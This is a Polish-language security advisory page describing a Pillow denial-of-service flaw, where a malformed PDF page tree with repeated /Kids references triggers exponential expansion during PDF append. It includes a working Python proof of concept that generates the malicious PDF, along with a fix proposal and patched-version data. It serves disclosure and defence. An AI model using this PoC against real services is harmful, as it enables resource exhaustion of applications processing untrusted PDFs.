Dołączanie PDF w Pillow akceptuje nieprawidłowy współdzielony DAG drzewa stron, powodując wyczerpanie zasobów
Komunikat źródłowy zmienił się od przygotowania tego objaśnienia. Sprawdź aktualne dane techniczne i oryginalny komunikat poniżej.
Podsumowanie
Udokumentowana ścieżka dołączania plików PDF w bibliotece Pillow może zużywać nieproporcjonalnie dużo czasu procesora na kompaktowym, zniekształconym drzewie stron PDF.
Atakujący, który może dostarczyć istniejący plik PDF do aplikacji dołączającej obraz za pomocą Image.save(..., format="PDF", append=True), może przekazać zniekształcone drzewo /Pages, w którym każdy poziom powtarza to samo odwołanie podrzędne /Pages w /Kids. Pillow traktuje ten graf jako drzewo i rozwija każde powtórzone odwołanie w PdfParser.linearize_page_tree() bez śledzenia odwiedzonych lub zduplikowanych odwołań pośrednich.
W poniższym ograniczonym dowodzie koncepcji plik PDF o rozmiarze 1410 bajtów rozszerza się do 8192 odwołań do stron z jednego unikalnego obiektu strony i zajmuje około 9.6 sekund na ścieżce dołączania. Porównywalna kontrola liniowa o tej samej głębokości pozostaje przy jednym odwołaniu do strony i kończy działanie w około 0.02 sekundy.
Kwestia ta mieści się w zakresie polityki bezpieczeństwa Pillow, ponieważ można ją odtworzyć w main, wpływa na najnowsze przetestowane wydanie publiczne (12.3.0) i nie jest jedynie nieoczekiwanym wyjątkiem Pythona. Podatna operacja przyjmuje kontrolowane przez atakującego bajty PDF przez parser PDF biblioteki Pillow i powoduje deterministyczne zużycie zasobów przed normalnym zakończeniem.
Szczegóły
Wersje, których dotyczy problem
- Pakiet:
Pillow - Ekosystem:
pip/ PyPI - Komponent, którego dotyczy problem: przechodzenie drzewa stron
src/PIL/PdfParser.pywywoływane z obsługi dołączania PDFsrc/PIL/PdfImagePlugin.py - Przetestowane w środowisku uruchomieniowym wydanie podatne:
12.3.0 - Przetestowana w środowisku uruchomieniowym wersja deweloperska:
13.0.0.dev0 - Przetestowany commit:
b39b9649312fbc381060e8c7c7f9f0de4cc63daa - Bieżący skrót artefaktu źródłowego:
sha256(git archive --format=tar HEAD) = 2ccefca23d432456765be8d3c34564c65ba016b0c9da1e44ca389762f7eda054 - Commit wydania
12.3.0:bb1d8e8ab8d29048624d96e3ee53cecf7c13d13d - Skrót artefaktu źródłowego wydania
12.3.0:sha256(git archive --format=tar 12.3.0) = 94bed33fd20123938dbc0153d295250bb4e3c09251b6d4a34f7595e25d409c81 - Wersje podatne na poziomie kodu źródłowego:
5.1.0,12.2.0,12.3.0orazHEAD - Prawdopodobny zakres podatności:
>= 5.1.0 - Załatane wersje: brak znanych
Fakty dowodowe:
- Przetestowane w środowisku uruchomieniowym: 12.3.0
- Przetestowane w środowisku uruchomieniowym: 13.0.0.dev0 pod b39b9649312fbc381060e8c7c7f9f0de4cc63daa
- Podatne na poziomie kodu źródłowego: 5.1.0
- Podatne na poziomie kodu źródłowego: 12.2.0
- Podatne na poziomie kodu źródłowego: HEAD
- Prawdopodobny zakres podatności: >= 5.1.0, brak znanej wersji naprawionej
- Uwaga dotycząca granicy wydań: 5.0.0 zawiera PdfImagePlugin.py, ale nie zawiera src/PIL/PdfParser.py
5.0.0 zawiera src/PIL/PdfImagePlugin.py, ale nie zawiera src/PIL/PdfParser.py. PdfParser.py zostało wprowadzone przez 6207b44ab1ff4a91d8ddc7579619876d0bb191a4 (2018-01-18 issue #2959: support appending to existing PDFs), co weszło w skład wydania 5.1.0.
Szczegóły techniczne
Ścieżka wykonania:
-
Usługa lub aplikacja otrzymuje istniejący plik PDF pod wpływem atakującego i dołącza obraz przy użyciu publicznej ścieżki zapisu PDF Pillow:
pythonImage.new("L", (1, 1), 0).save(existing_pdf_file, format="PDF", append=True) -
src/PIL/PdfImagePlugin.pyprzekazujeappend=TruedoPdfParser:pythonis_appending = im.encoderinfo.get("append", False) filename_str = filename.decode() if isinstance(filename, bytes) else filename if is_appending: existing_pdf = PdfParser.PdfParser(f=fp, filename=filename_str, mode="r+b") else: existing_pdf = PdfParser.PdfParser(f=fp, filename=filename_str, mode="w+b") -
src/PIL/PdfParser.pyparsuje istniejący plik PDF i linearyzuje drzewo stron:pythonself.page_tree_root = self.read_indirect(self.pages_ref) self.pages = self.linearize_page_tree(self.page_tree_root) self.orig_pages = self.pages[:] -
linearize_page_tree()rekurencyjnie podąża za każdym wpisem/Kidsi rozszerza listę stron. Nie śledzi tożsamości węzłów drzewa stron, zduplikowanych odwołań ani aktywnych odwołań podczas przechodzenia:pythondef linearize_page_tree( self, node: PdfDict | None = None ) -> list[IndirectReference]: page_node = node if node is not None else self.page_tree_root check_format_condition( page_node[b"Type"] == b"Pages", "/Type of page tree node is not /Pages" ) pages = [] for kid in page_node[b"Kids"]: kid_object = self.read_indirect(kid) if kid_object[b"Type"] == b"Page": pages.append(kid) else: pages.extend(self.linearize_page_tree(node=kid_object)) return pages -
Podczas dołączania
rewrite_pages()iteruje po rozwiniętej liścieorig_pagesi skanuje/zastępuje wpisy wself.pages, generując dodatkowy koszt dla już powiększonej listy zduplikowanych odwołań.
Brakujący niezmiennik:
The PDF page tree should be treated as an acyclic tree of unique indirect references before Pillow builds pages/orig_pages or rewrites pages.
Dowód celowo wykorzystuje zniekształcony graf DAG drzewa stron PDF: każdy węzeł /Pages powtarza to samo kolejne odwołanie potomne /Pages dwukrotnie. Pillow akceptuje ten graf i rozwija go tak, jakby powtórzone odwołanie reprezentowało odrębne poddrzewa.
PoC
Środowisko użyte do walidacji:
- System operacyjny / środowisko uruchomieniowe: Linux, Python
3.13.11 - Bieżąca testowana kompilacja: Pillow
13.0.0.dev0, commitb39b9649312fbc381060e8c7c7f9f0de4cc63daa - Najnowsze przetestowane wydanie: Pillow
12.3.0 - Dowód korzysta wyłącznie ze sztucznych plików PDF w pamięci i nie łączy się z siecią.
Zapisz jako poc_pillow_pdf_page_tree_dag.py:
#!/usr/bin/env python3
from __future__ import annotations
import io
import json
import sys
import time
from PIL import Image, PdfParser
import PIL
def make_page_tree_pdf(depth: int, fanout: int) -> bytes:
if fanout not in (1, 2):
raise ValueError("fanout must be 1 or 2")
objects: list[bytes] = [b"<< /Type /Catalog /Pages 2 0 R >>"]
for object_id in range(2, depth + 3):
next_id = object_id + 1
kids = b" ".join(f"{next_id} 0 R".encode("ascii") for _ in range(fanout))
parent = b"" if object_id == 2 else f" /Parent {object_id - 1} 0 R".encode()
objects.append(b"<< /Type /Pages /Kids [ " + kids + b" ]" + parent + b" >>")
objects.append(f"<< /Type /Page /Parent {depth + 2} 0 R >>".encode("ascii"))
result = bytearray(b"%PDF-1.4\n")
offsets = [0]
for object_id, value in enumerate(objects, start=1):
offsets.append(len(result))
result.extend(f"{object_id} 0 obj\n".encode("ascii"))
result.extend(value)
result.extend(b"\nendobj\n")
xref_offset = len(result)
result.extend(f"xref\n0 {len(objects) + 1}\n".encode("ascii"))
result.extend(b"0000000000 65535 f \n")
for offset in offsets[1:]:
result.extend(f"{offset:010d} 00000 n \n".encode("ascii"))
result.extend(
f"trailer\n<< /Size {len(objects) + 1} /Root 1 0 R >>\n"
f"startxref\n{xref_offset}\n%%EOF\n".encode("ascii")
)
return bytes(result)
def run_case(depth: int, fanout: int) -> dict[str, object]:
payload = make_page_tree_pdf(depth, fanout)
expected_refs = fanout ** (depth + 1)
start = time.monotonic()
with PdfParser.PdfParser(buf=payload) as pdf:
observed_refs = len(pdf.pages)
distinct_refs = len(set(pdf.pages))
parse_seconds = time.monotonic() - start
output = io.BytesIO(payload)
start = time.monotonic()
Image.new("L", (1, 1), 0).save(output, format="PDF", append=True)
append_seconds = time.monotonic() - start
return {
"fanout": fanout,
"depth": depth,
"input_bytes": len(payload),
"expected_refs": expected_refs,
"observed_refs": observed_refs,
"distinct_refs": distinct_refs,
"parse_seconds": round(parse_seconds, 6),
"append_seconds": round(append_seconds, 6),
"output_bytes_after_append": len(output.getvalue()),
}
def main() -> int:
depth = int(sys.argv[1]) if len(sys.argv) > 1 else 12
if not 0 <= depth <= 16:
raise SystemExit("depth must be between 0 and 16")
linear = run_case(depth, fanout=1)
shared_dag = run_case(depth, fanout=2)
checks = {
"linear_control_stays_one_page": linear["observed_refs"] == 1,
"candidate_expands_to_expected_duplicate_refs": shared_dag["observed_refs"]
== shared_dag["expected_refs"],
"candidate_has_one_distinct_page_ref": shared_dag["distinct_refs"] == 1,
"candidate_input_is_compact": shared_dag["input_bytes"] <= 2048,
"append_path_processed_both_inputs": linear["output_bytes_after_append"]
> linear["input_bytes"]
and shared_dag["output_bytes_after_append"] > shared_dag["input_bytes"],
}
result = {
"pillow_version": PIL.__version__,
"pillow_file": PIL.__file__,
"depth": depth,
"linear_control": linear,
"shared_dag_candidate": shared_dag,
"checks": checks,
"overall_passed": all(checks.values()),
}
print(json.dumps(result, indent=2, sort_keys=True))
return 0 if result["overall_passed"] else 1
if __name__ == "__main__":
raise SystemExit(main())
Uruchomienie:
python3 poc_pillow_pdf_page_tree_dag.py
Oczekiwany rezultat:
"overall_passed": true
"linear_control": observed_refs == 1
"shared_dag_candidate": input_bytes == 1410
"shared_dag_candidate": observed_refs == 8192
"shared_dag_candidate": distinct_refs == 1
Zaobserwowano na bieżącym main / 13.0.0.dev0:
1410-byte input -> 8192 observed page refs -> 9.563007s append
Zaobserwowano na Pillow 12.3.0:
Pillow 12.3.0: 1410-byte input -> 8192 observed page refs -> 9.670602s append
Dla porównania kontrola liniowa w tym samym środowisku wykorzystuje drzewo stron o porównywalnej głębokości z fanout=1; tworzy ono jedno odwołanie do strony i kończy dołączanie w czasie od około 0.016 do 0.028 sekund w testach walidacyjnych.
Wpływ
Jest to problem z dostępnością w obsłudze dołączania PDF w bibliotece Pillow. Aplikacje są narażone, jeśli niezaufani użytkownicy mogą dostarczyć istniejący plik PDF, do którego aplikacja później dołącza dane, nakłada znak wodny lub eksportuje za pośrednictwem ścieżki Image.save(..., format="PDF", append=True) Pillow.
Zademonstrowany mechanizm to deterministyczna amplifikacja zużycia procesora/zasobów wynikająca ze zwartych bajtów PDF kontrolowanych przez atakującego. Dowód nie wykazuje wpływu na poufność, integralność, uszkodzenie pamięci, dostęp do systemu plików, dostęp do sieci ani wpływu poprzez zwykłe Image.open().
Wymaga istniejącego pliku PDF kontrolowanego przez atakującego przetwarzanego przez udokumentowaną ścieżkę dołączania PDF w Pillow; nie dotyczy zwykłego Image.open().
Nie powinno to być traktowane jako zwykły nieoczekiwany wyjątek Pythona. W testowanych podatnych kompilacjach zniekształcony plik PDF jest akceptowany i przetwarzany do normalnego zakończenia po kosztownej ekspansji.
Naprawa
Odrzucanie zduplikowanych i cyklicznych odwołań w drzewie stron przed utworzeniem self.pages i self.orig_pages.
Jedną z możliwych poprawek jest przekazywanie stanu przechodzenia przez linearize_page_tree():
- Śledzenie aktywnych odwołań
/Pagesw celu odrzucania cykli. - Śledzenie napotkanych odwołań pośrednich do drzew stron i stron w celu odrzucania zduplikowanych odwołań.
- Zgłaszanie
PdfFormatError, gdy drzewo stron nie jest acyklicznym drzewem unikalnych odwołań pośrednich.
Sugerowane testy regresji:
- Mały plik PDF, którego tablica
/Kidspowtarza to samo odwołanie do węzła podrzędnego/Pages, powinien szybko zgłosićPdfFormatError, gdy zostanie użyty przezImage.save(..., format="PDF", append=True). - Zwykłe zagnieżdżone liniowe drzewo stron powinno nadal pomyślnie kończyć operację dołączania.
Co trzeba zrobić
Zaktualizuj bibliotekę Pillow do wersji 13.0.0 lub nowszej. Alternatywnie wdróż mechanizmy odrzucające zduplikowane i cykliczne odwołania w drzewie stron przed utworzeniem self.pages i self.orig_pages, np. poprzez śledzenie aktywnych odwołań /Pages w linearize_page_tree() i zgłaszanie PdfFormatError.
Czego dotyczy
Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.
| Platforma | Paczka | Podatne wersje | Poprawka w wersji |
|---|---|---|---|
| Python (PyPI) | pillow | >= 5.1.0, < 13.0.0 | 13.0.0 |
Odnośniki
- https://github.com/python-pillow/Pillow/security/advisories/GHSA-mrfp-p49p-3hf2
- https://nvd.nist.gov/vuln/detail/CVE-2026-96640
- https://github.com/python-pillow/Pillow/pull/10093
- https://github.com/python-pillow/Pillow/commit/6f0e7ee1f9c2fe227906f8a4b926e6622b702bc7
- https://github.com/python-pillow/Pillow
- https://github.com/python-pillow/Pillow/releases/tag/13.0.0
- Wektor CVSS
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N- Słabość (CWE)
CWE-400, CWE-407- Platforma
- Python (PyPI)
- Paczka
pillow- Ujawniono
- 22.10.2026
- Aktualizacja
- 29.10.2026 12:17
Źródła i licencje · Redakcja lub tłumaczenie: DockRay. Zachowano prawa źródeł i obowiązujące licencje.
OSV / GitHub Advisory Database - GHSA-mrfp-p49p-3hf2 - CC BY 4.0
Historia podatności: pillow
Wszystkie opisane podatności tej paczki (Python (PyPI)), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.
- Wszystkich wpisów
- 106
- Pierwsza → ostatnia
- 04.2014 11.2026
- Bez poprawki
- 0
- Wykorzystywana w atakach
- 1
Rozkład istotności
- Krytyczna 14
- Wysoka 63
- Średnia 27
- Niska 1
- Nieoceniona 1
Ujawnienia w latach
- 2017: 1
- 2018: 0
- 2019: 1
- 2020: 10
- 2021: 19
- 2022: 8
- 2023: 3
- 2024: 2
- 2025: 1
- 2026: 49
wcześniej: 12
-
Dołączanie PDF w Pillow akceptuje nieprawidłowy współdzielony DAG drzewa stron, powodując wyczerpanie zasobów ten wpis
Dowiedz się, które podatności dotyczą Twojej aplikacji
Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.